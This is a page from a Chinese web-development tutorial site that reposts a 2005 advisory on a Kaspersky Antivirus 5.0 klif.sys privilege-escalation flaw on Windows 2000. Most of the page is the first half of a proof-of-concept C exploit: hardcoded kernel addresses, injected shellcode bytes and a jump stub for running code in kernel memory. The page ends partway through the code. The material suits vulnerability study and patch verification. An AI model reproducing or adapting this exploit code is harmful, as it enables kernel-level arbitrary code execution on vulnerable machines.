频道直达 - 学院 - 下载 - 交易 - 特效 - 字库 - 手册 -排名-工具- 繁體
网页教学网站开发 设为首页
加入收藏
联系我们
建站搜索: 虚拟主机  域名注册     常用广告代码   用户注册 | 用户登陆
您当前的位置:中国建站之家 -> 网站开发设计技术教程 -> ASP教程 -> Kaspersky杀毒软件klif.sys权限提升漏洞

Kaspersky杀毒软件klif.sys权限提升漏洞

作者:未知  来源:http://edu.chinaz.com  发布时间:2005-7-19 9:04:57  发布人:acx

减小字体 增大字体

受影响系统:
Kaspersky Labs Kaspersky Antivirus 5.0.335
Kaspersky Labs Kaspersky Antivirus 5.0.228
Kaspersky Labs Kaspersky Antivirus 5.0.227
描述:
------------------------------------------
BUGTRAQ  ID: _blank>13878

Kaspersky是一款非常流行的杀毒软件。

Microsoft Windows 2000平台的Kaspersky软件设计上存在漏洞,本地攻击者可能利用此漏洞提升自己的权限。

起因是Kaspersky内核驱动klif.sys没有正确丢弃高权限,攻击者可能利用这个漏洞以系统内核的权限执行任意代码。

<*来源:Ilya Rabinovich (info@softsphere.com)
  
  链接:_blank>http://marc.theaimsgroup.com/?l=bugtraq&;m=111817777430401&w=2
*>

测试方法:
------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

//(C) by Ilya Rabinovich.

#include <windows.h>

PUCHAR pCodeBase=(PUCHAR)0xBE9372C0;

PDWORD pJmpAddress=(PDWORD)0xBE9372B0;

PUCHAR pKAVRets[]={(PUCHAR)0xBE935087,(PUCHAR)0xBE935046};

PUCHAR pKAVRet;


unsigned char code[]={0x68,0x00,0x02,0x00,0x00,    //push 0x200
                    0x68,0x00,0x80,0x93,0xBE,    //push <buffer address> - 0xBE938000
                    0x6A,0x00,                    //push 0  
                    0xB8,0x00,0x00,0x00,0x00,    //mov eax,<GetModuleFileNameA> -> +13
                    0xFF,0xD0,                    //call eax
                    0x68,0x00,0x80,0x93,0xBE,    //push <buffer address>
                    0x68,0x00,0x82,0x93,0xBE,    //push <address of the notepad path>- 0xBE938200
                    0xB8,0x00,0x00,0x00,0x00,    //mov eax,<lstrcmpiA> -> +30
                    0xFF,0xD0,                    //call eax
                    0x85,0xC0,                    //test eax,eax
                    0x74,0x03,                    //je +03
                    0xC2,0x04,0x00,                //retn 4
                    0x6A,0x00,                    //push 0
                    0x68,0x00,0x84,0x93,0xBE,    //push <address of the message string>- 0xBE938400
                    0x68,0x00,0x84,0x93,0xBE,    //push <address of the message string>- 0xBE938400
                    0x6A,0x00,                    //push 0
                    0xB8,0x00,0x00,0x00,0x00,    //mov eax,<MessageBoxA> -> +58
                    0xFF,0xD0,                    //call eax
                    0xC2,0x04,0x00                //retn 4
                    };

unsigned char jmp_code[]={0xFF,0x25,0xB0,0x72,0x93,0xBE}; //jmp dword prt \
[0xBE9372B0]

//////////////////////////////////////////////////////////////

BOOLEAN LoadExploitIntoKernelMemory(void){



//Get function's addresses

    HANDLE hKernel=GetModuleHandle("KERNEL32.DLL");
    HANDLE hUser=GetModuleHandle("USER32.DLL");

    FARPROC pGetModuleFileNameA=GetProcAddress(hKernel,"GetModuleFileNameA");
    FARPROC plstrcmpiA=GetProcAddress(hKernel,"lstrcmpiA");

    FARPROC pMessageBoxA=GetProcAddress(hUser,"MessageBoxA");

    *(DWORD*)(code+13)=(DWORD)pGetModuleFileNameA;
    *(DWORD*)(code+30)=(DWORD)plstrcmpiA;
    *(DWORD*)(code+58)=(DWORD)pMessageBoxA;

本新闻共2页,当前在第1页  1  2  


将本文收藏到QQ书签与更多好友分享
[打 印]
[] [返回上一页] [收 藏]
∷相关文章评论∷    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]
精彩推荐
热门文章
· 注册码大全二
· 注册码大全四
· 注册码大全一
· 要10G免费网络硬盘的请进..
· 通过google 赶快来赚美金..
· 注册码大全十
· 头像-qq头像(qq新头像)4..
· 注册码大全三
· 让你轻松架设FTP服务器1..
· 梦幻背景图片7
· 卡通动物图片6
· 风景图片8
· 网页制作素材-按钮素材2..
· 注册码大全九
· 让你轻松架设FTP服务器5..
· 50MB免费空间 FTP PHP M..
关注此文读者还看过
· 什么才是提高ASP性能的最..
· Flash5 有声音的三眼狼(..
· ASP基础
· 建行网银客户存款被盗 建..
· ASP语法速查表及实例说明..
· “求职信”病毒1月6日发..
· 企业网站制定搜索引擎优..
· ASP注入漏洞全接触(1)
· WIN2000下JSP服务器的安..
· 自动安装SQL Server数据..
· 精确的判断网络是否可用..
· Flash Action详解之变量..
· 由浅入深学FLASH遮罩(M..
· BBS(php & mysql)完..
· ASP六大对象介绍
· 网页吧wy8.net
相关文章
· 卡巴斯基Kaspersky 6..
· Serv-u本地权限提升漏洞的终..
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 - 人才招聘
网站合作、内容监督、商务咨询:QQ: 9576619
Copyright ? 2005--2008 中国建站之家版权所有
未经授权禁止转载、摘编、复制或建立镜像.如有违反,追究法律责任.
免责申明:中国建站之家(www.jz123.cn)上的所有提供下载的软件和资源
均来源于网络,为软件或程序作者提供和网友推荐收集整理而来,仅供学习
和研究使用。如有侵犯你的版权,请立即联系我们,本站将在3个工作日内删除。
粤ICP备05092265号